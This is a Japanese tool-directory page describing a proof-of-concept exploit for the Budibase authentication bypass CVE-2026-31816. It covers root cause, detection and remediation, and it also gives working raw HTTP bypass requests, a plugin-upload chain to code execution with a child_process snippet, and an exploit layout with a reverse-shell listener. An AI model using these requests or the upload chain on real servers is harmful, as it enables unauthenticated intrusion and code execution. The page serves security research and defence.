Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31816 — 重大なBudibase認証バイパス用のPoCエクスプロイト:アンカーされていないWebhook正規表現により、攻撃者は`?/webhooks/trigger`を追加して保護されたAPIに到達し、プラグインアップロードを連鎖させてRCEを実行できます。 | Kitploit
ツール/GitHubGitHub/k3ystr0k3r/cve-2026-31816
認証と認可エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発APIセキュリティ
GitHubk3ystr0k3r/cve-2026-31816

CVE-2026-31816

重大なBudibase認証バイパス用のPoCエクスプロイト:アンカーされていないWebhook正規表現により、攻撃者は`?/webhooks/trigger`を追加して保護されたAPIに到達し、プラグインアップロードを連鎖させてRCEを実行できます。

リポジトリを見る
6日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31816 - Budibase 認証バイパスによるRCE

CVE CVSS Vendor Type Impact

CVE-2026-31816 は、Budibaseに影響する重大な認証・認可バイパスの脆弱性です。

この脆弱性は、APIエンドポイントを保護するサーバーサイドの認可ミドルウェアに存在します。Budibaseは、正当なWebhookエンドポイントを識別するためにアンカーされていない正規表現を使用し、その正規表現をKoaのctx.request.urlに対して評価します。

ctx.request.urlにはクエリ文字列が含まれるため、攻撃者は無関係なAPIリクエストのクエリコンポーネントに、Webhookのように見えるパスを注入できます。

たとえば:

root@kitploit:~
/api/integrations?/webhooks/trigger

このリクエストは、実際にはWebhookエンドポイントをターゲットにしていません。しかし、脆弱なチェックは/webhooks/triggerを「このリクエストが正当なWebhookリクエストである」という証拠として解釈し、通常の認証・認可チェックを行わずに実行を継続させる可能性があります。

NVDはこの問題を、完全に認証されていないリモート攻撃者が、URLにWebhookパスパターンを追加するだけでサーバーサイドAPIエンドポイントにアクセスできるようにするものと説明しています。


脆弱性情報

NVDは、3.31.4までのBudibaseバージョンが影響を受けると記録し、CVSS 3.1スコア9.1を割り当てています。


根本原因

脆弱なロジックは、通常の認可の前に実行されるWebhook検出を中心に展開されます。

セキュリティアドバイザリは、概念的には次のコードと同等の内容を文書化しています:

root@kitploit:~
const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

問題は、次の2つの挙動の組み合わせです:

  1. 正規表現がアンカーされていないこと。
  2. ctx.request.urlにクエリ文字列が含まれること。

つまり、この正規表現は実際のリクエストパスに一致する必要がないということです。

次のようなリクエスト:

root@kitploit:~
/api/some/protected/endpoint?/webhooks/trigger

は、テスト対象のURL内に次の文字列を含んでいます:

root@kitploit:~
/webhooks/trigger

その後、認可ミドルウェアはそのリクエストをWebhookリクエストとして扱い、通常の認可フローを実行することなくエンドポイントに到達します。

Budibaseのセキュリティアドバイザリは、これを根本的な欠陥として明示的に特定し、このバイパスが認証、認可、ロールチェック、およびCSRF保護をスキップすることに言及しています。


認証バイパス

保護されたAPIエンドポイントへの通常のリクエストは、認証レイヤーを通過することが期待されます。

たとえば:

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

一方、脆弱なインスタンスには、Webhookクエリ文字列パターンを使用して到達できます:

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

重要な部分は次のとおりです:

root@kitploit:~
?/webhooks/trigger

エンドポイント自体は変更されていません:

root@kitploit:~
/api/integrations

変更されたのはクエリ文字列のみです。

公開されているBudibaseアドバイザリは、/api/integrationsおよび他のいくつかのサーバーサイドエンドポイントに対して、この正確な手法を示しています。


最小限の検証

管理されたラボ環境で認証バイパスを安全に検証する方法は、通常のリクエストをWebhookクエリのバリアントと比較することです。

ベースライン

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

バイパス

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

脆弱なサーバーは、通常であればエンドポイントを保護する認証チェックなしで2番目のリクエストを処理できます。

公開されているPoCも同様に、以下を簡単な脆弱性チェックとして使用しています:

root@kitploit:~
/api/integrations?/webhooks/trigger

生のHTTPリクエスト — APIアクセス

以下は、Webhookパターンを追加することで、認証付きAPIリクエストが認証なしリクエストに変換される構造を示しています。

root@kitploit:~
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

公式のBudibaseアドバイザリは、このエンドポイントを影響を受けるAPIサーフェスの1つとして文書化しています。

同じ欠陥を通じて到達可能であると文書化されている他のサーバーサイドエンドポイントには、次のものがあります:

root@kitploit:~
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

重要な観察点は、この脆弱性が特定のアプリケーションリソースに結びついていないことです。影響を受ける認可ミドルウェアは、広範なサーバーサイドAPI群の前面に位置しています。


悪用チェーン

認証バイパスは、攻撃者が制御する機能を受け入れることができる機密性の高いAPIと組み合わせることで、はるかに深刻になります。

このリポジトリのPoCは、脆弱性を次のように連鎖させます:

root@kitploit:~
                    ┌─────────────────────────┐
                    │     Remote attacker     │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase authorization  │
                    │       middleware        │
                    └────────────┬────────────┘
                                 │
                                 │ authentication bypass
                                 ▼
                    ┌─────────────────────────┐
                    │ Protected server-side   │
                    │       API endpoints     │
                    └────────────┬────────────┘
                                 │
                                 │ plugin upload
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ crafted plugin
                                 ▼
                    ┌─────────────────────────┐
                    │  Plugin JavaScript code │
                    │      execution          │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          Code execution

PoCはまず/api/integrationsに対するバイパスを検証し、その後Budibaseプラグインアーカイブを構築して/api/plugin/uploadに送信します。

生のHTTPリクエスト — プラグインアップロード

認可がバイパスされると、プラグインアップロードリクエストは通常のマルチパートアップロード形式に従い、脆弱なWebhookクエリがURLに追加されます。

サニタイズされた表現は次のとおりです:

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--

リポジトリのPoCは、.tar.gzプラグインアーカイブを含むこのマルチパートリクエストを作成し、/api/plugin/upload?/webhooks/triggerに送信します。

安全性のため、上記のリクエストでは、リバースシェルペイロードをドキュメントに直接埋め込むのではなく、実行可能なアーカイブをプレースホルダーとして意図的に残しています。


プラグイン構築

PoCは、以下を含むプラグインアーカイブを生成します:

root@kitploit:~
package.json
schema.json
datasource-helper.js

アーカイブはgzip圧縮されたtarballとして作成されます。

JavaScriptコンポーネントは、Node.jsがchild_processをロードして指定されたコマンドを実行するように構成されています:

root@kitploit:~
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);

リポジトリの実装は複数のペイロードタイプをサポートし、対応するコマンドを動的に生成します。

これはチェーンの第2段階です:

root@kitploit:~
Authentication bypass
        ↓
Unauthenticated API access
        ↓
Plugin upload
        ↓
Attacker-controlled JavaScript
        ↓
Node.js command execution

なぜこのバグが発生するのか

この脆弱性は、根本的にはURL解析と信頼境界の誤りです。

アプリケーションは一部のWebhookルートをパブリックにアクセス可能にする必要があります。脆弱な実装は、実際のリクエストパスが許可されたWebhookルートに属するかどうかを判断する代わりに、URL全体から一致する部分文字列を検索します。

概念的には:

root@kitploit:~
Expected:

request.path
    │
    └── must actually equal a webhook endpoint


Actual vulnerable behavior:

request.url
    │
    ├── path
    └── query string
            │
            └── attacker-controlled text
                     │
                     └── /webhooks/trigger

クエリ文字列は攻撃者が制御できるため、攻撃者はWebhook検出器が期待する文字列をURLのどこにでも配置できます。

その結果、セキュリティ上重要なブールチェックが誤った結果を返します:

root@kitploit:~
isWebhookEndpoint(ctx)
        │
        ├── false → normal authorization
        │
        └── true  → return next()
                       │
                       ├── authentication skipped
                       ├── authorization skipped
                       ├── role checks skipped
                       └── CSRF checks skipped

Budibaseアドバイザリは、早期のreturn next()動作と、その結果として生じるセキュリティチェックのバイパスを明示的に説明しています。


影響

この脆弱性は、単純なログインバイパスよりもはるかに広い影響を及ぼします。

ベンダーのアドバイザリによると、悪用により、以下に影響するサーバーサイドAPIへの認証なしアクセスが可能になる可能性があります:

  • アプリケーションデータ
  • テーブル
  • 行
  • オートメーション
  • データソース
  • クエリ
  • ビュー
  • プラグイン
  • ロールおよびその他の管理リソース

また、アドバイザリは、このバイパスがCSRF保護を排除し、ユーザー操作も既存の認証情報も必要としないことを確認しています。

バイパスを通じて、攻撃者が制御する機能を処理できる脆弱なAPIに到達できる場合、この脆弱性は任意のコード実行に連鎖させる可能性があります。

このリポジトリに含まれるPoCは、プラグインアーカイブを構築し、それをアップロードし、実行を待つことで、その攻撃経路を実証しています。


検出

基本的な検出戦略は、通常のリクエストと、Webhookスタイルのクエリサフィックスを付けた同じリクエストの認証動作を比較することです。

例:

root@kitploit:~
curl -i http://127.0.0.1:10000/api/integrations

対して:

root@kitploit:~
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'

脆弱なインストール環境では、2番目のリクエストを通じて保護されたエンドポイントが公開される可能性があります。

この手法は、CVE-2026-31816に関する公開されている検出資料でも使用されています。


影響を受けるバージョン

NVDエントリは、以下を影響を受けるバージョンとして特定しています:

root@kitploit:~
Budibase <= 3.31.4

が影響を受けます。

注目に値する重要なドキュメントの不一致があります: 現在のGitHubセキュリティアドバイザリには**「修正済みバージョン: なし」と表示されていますが、独立した脆弱性リファレンスは3.31.5以降**を修正の境界として特定しています。 そのため、このリポジトリは、対応するBudibaseのリリース/変更が独立に検証されない限り、3.31.5を疑いの余地のないベンダー確認済みパッチとして提示すべきではありません。


修復

主な修復方法は、Budibaseをアップストリームの修正を含むバージョンにアップグレードすることです。

パッチ適用が可能になるまでの防御策には、次のようなものがあります:

root@kitploit:~
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
      /webhooks/trigger
      /webhooks/schema
      /webhooks/discord
      /webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.

この脆弱性は、攻撃に認証済みセッションが不要であるため、インターネットに露出したセルフホスト型デプロイメントで特に懸念されます。


検出シグネチャ

有用なログレベルの指標は、クエリ文字列にWebhookルートパターンを含むAPIリクエストです:

root@kitploit:~
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams

たとえば:

root@kitploit:~
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger

これらのパターンは、正当なトラフィックやアプリケーション固有の動作も考慮する必要があるため、自動的に悪用の証拠として扱うのではなく、調査対象とすべきです。


PoCの構成

このリポジトリのエクスプロイト実装は、いくつかの論理コンポーネントに分かれています:

root@kitploit:~
ExploitConfig
     │
     ├── target
     ├── LHOST
     ├── LPORT
     └── payload type
            │
            ▼
      BudibaseClient
            │
            ├── vulnerability check
            └── plugin upload
                    │
                    ▼
             PluginBuilder
                    │
                    └── .tar.gz
                            │
                            ▼
                      PayloadBuilder
                            │
                            └── JavaScript
                                    │
                                    ▼
                              command execution

この実装には、悪用成功後にシェル接続を受信するためのオプションのリスナーも含まれています。


検証フローの例

管理されたラボ環境の場合:

root@kitploit:~
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.

リポジトリのPoCは、第2段階のアップロードを試みる前に脆弱性チェックを実行し、最初のチェックが失敗した場合に中止します。

セキュリティ研究ノート

この脆弱性は、セキュリティ上重要なURLマッチングを、攻撃者が制御する完全なURL文字列ではなく、適切に解析・正規化されたリクエストパスに対して実行すべき理由の良い例です。

このバグは、Webhook機能自体は正規のものであるため、微妙です。問題はミドルウェアが行う信頼の判断にあります:

root@kitploit:~
"Does this request target a webhook?"

という問いに、実質的に次のような答えを返します:

root@kitploit:~
"Does the entire URL contain a webhook-looking substring?"

これらは同等のセキュリティ特性ではありません。

したがって、攻撃者はリクエストを実際にWebhookリクエストにする必要はありません。認可ミドルウェアに、それがWebhookリクエストであると信じ込ませるだけでよいのです。


参照

  • NVD: CVE-2026-31816
  • Budibaseセキュリティアドバイザリ: GHSA-gw94-hprh-4wj8
  • CVEレコード / 公開脆弱性データベース
  • Budibaseリリース履歴
  • CVE-2026-31816に関する公開検出・調査資料

免責事項

このリポジトリは、セキュリティ研究、脆弱性検証、および許可されたテストを目的としています。 所有していないシステム、または明示的なテスト許可がないシステムに対して、このエクスプロイトを使用しないでください。

ツールをダウンロード
フィールド値
CVECVE-2026-31816
ベンダーBudibase
製品Budibase
影響を受けるバージョン<= 3.31.4
深刻度緊急
CVSS v3.19.1
CVSSベクターAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-74
攻撃元ネットワーク
必要な権限なし
ユーザー操作不要
認証要件不要